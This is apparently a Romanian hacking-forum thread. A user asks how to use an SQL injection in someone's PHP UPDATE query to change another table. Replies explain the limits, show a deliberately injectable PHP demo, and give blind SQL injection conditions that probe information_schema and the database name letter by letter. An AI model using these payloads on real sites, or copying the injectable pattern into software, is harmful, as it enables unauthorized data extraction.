Jump to content
danielh

SQL Injection ?

Recommended Posts

Posted

Bine v-am g?sit, nu ?tiu dac? este categoria potrivit?, dar na am zis s? încerc.

Deci are cineva un site ?i într-un script are urm?toarea linie

mysql_query("UPDATE tabel SET da=da+1 WHERE link='".$link."'");

Unve variabila $link este

$link = $_GET["link"];

Cum a? putea folosi variabila aceasta ($link) pentru SQL injection ca s? actualizez o înregistrare dintr-un alt tabel ?

  • Active Members
Posted

Simplu nu poti:)

Pentru ca injectia este dupa where, cea ce vrei tu se poate realiza daca injectia este intre SET si WHERE , ce poti sa faci este sa extragi date .

Posted (edited)

@danyweb09 are perfecta dreptate.

Injectia de mai sus se bazeaza pe ce se intampla intre SET si WHERE.

Query-ul tau pur si simplu updateaza da=da+1 unde link=$link

Daca aveai ceva de genul:


mysql_query("UPDATE tabel SET da=$altaVariabila WHERE link='".$link."'");

atunci puteai executa query-ul de injectie pe variabila $altaVariabila si rezultatele le gaseai unde acea variabile era afisata.

Sa-ti dau un exemplu mai detaliat:

mysql> describe records;
+-------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+----------------+
| value | varchar(255) | YES | | NULL | |
| id | int(11) | NO | PRI | NULL | auto_increment |
+-------+--------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

mysql> select * from records;
+-------+----+
| value | id |
+-------+----+
| Activ | 1 |
+-------+----+
1 row in set (0.00 sec)

mysql>

Dupa cum poti vedea avem un tabel numit records, cu coloanele value si id.

Value va fi in acest caz $link, iar id va fi simpla coloana din WHERE.

Codul PHP:


<?php

$db = new PDO('mysql:host=127.0.0.1;dbname=test;', 'root', '');

$link = @$_GET['link'];

$query = $db->prepare("SELECT value FROM records");
$query ->execute();
$row = $query->fetchAll();

echo "Valoarea actuala este: <b>".$row[0][0]."</b> injecteaza daca vrei sa schimbi valoarea.<br>";

if(isset($link)){

$queryUpdate = $db->prepare("UPDATE records SET value='".$link."' WHERE id=1");
$queryUpdate ->execute();

$getOutQuery = $db->prepare("SELECT value FROM records");
$getOutQuery ->execute();
$getOutRow = $getOutQuery->fetchAll();

echo "Valorea finala este: <b><font color='red'>".$getOutRow[0][0]."</font></b>";
}

else{

"Nici o injectie, datele raman stabile.";
}

?>

Dupa ce am facut injectia: localhost/a.php?link=Inactiv

Valoarea actuala este: Inactiv injecteaza daca vrei sa schimbi valoarea.

Valorea finala este: Inactiv


mysql> select * from records;
+---------+----+
| value | id |
+---------+----+
| Inactiv | 1 |
+---------+----+
1 row in set (0.00 sec)

mysql>

Sper ca ai inteles cum sta treaba cu injectia din cazul tau. (E 6 dimineata...)

Edited by Moubikx
Posted

Nu, pentru ca exista si in SQL anumite reguli de care trebuie sa tii cont.

Poate ai fi tentat sa crezi ca poti rula 2 query-uri de insert ( presupunand ca ai aflat intr-o oarecare masura structura bazei de date ), dar aici te limiteaza functia din PHP.

mysql_query() sends a unique query (multiple queries are not supported) to the currently active database ...

PHP: mysql_query - Manual

Ce ai putea sa faci, cum spunea si dany, e sa extragi informatii, blind, urmarind efectul update-ului ( daca si ai access la el ).

Ex:


-- update daca exista un tabel 'users' in baza de date curenta
update table set da = da + 1 where link = '$link' and (select count(table_name) from information_schema.tables where table_schema = database() and table_name = 'users')

-- update daca numele bazei de date curente incepe cu litera 'a'
update table set da = da + 1 where link = '$link' and if((substring(database(), 1, 1) = 'a'), 1, 0)

-- ...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...